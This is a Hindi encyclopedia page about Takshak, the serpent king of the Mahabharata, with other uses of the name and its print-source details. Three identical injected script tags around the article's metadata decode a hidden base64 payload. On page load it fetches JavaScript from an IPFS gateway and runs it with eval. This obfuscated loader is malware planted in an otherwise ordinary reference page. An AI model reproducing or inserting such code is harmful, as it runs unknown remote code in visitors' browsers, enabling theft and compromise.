तक्षक

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
तक्षक
पुस्तक नाम हिन्दी विश्वकोश खण्ड 5
पृष्ठ संख्या 301
भाषा हिन्दी देवनागरी
संपादक राम प्रसाद त्रिपाठी
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1965 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्याम तिवारी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तक्षक

  1. कश्यप और कद्रू का पुत्र, नागों का राजा जो इंद्र का मित्र था। इसने श्रृंग से प्रेरित होकर अर्जुन के पौत्र परीक्षित को डसा था। बैद ऋषि के शिष्य उत्तंक से कुंडल के प्रश्न पर इसका विरोध बढ़ा, फलत: सर्पयज्ञ द्वारा पिता की मृत्यु का प्रतिशोध लेने की सीख जनमेजय को देकर उसने तक्षक का वध करना चाहा। लेकिन परिवार के 18 नागकुल के भस्म होने पर भी यह इंद्र की सहायता से उक्त यज्ञ में जल मरने से बच गया।
  2. विश्वकर्मा।
  3. प्रसेनजित्‌ का पुत्र तथा पौत्र वृहद्बल।
  4. भरतपुत्र तक्ष और
  5. तक्षशिला नगर के संस्थापक गांधार नरेश का उपनाम तथा नाम।


टीका टिप्पणी और संदर्भ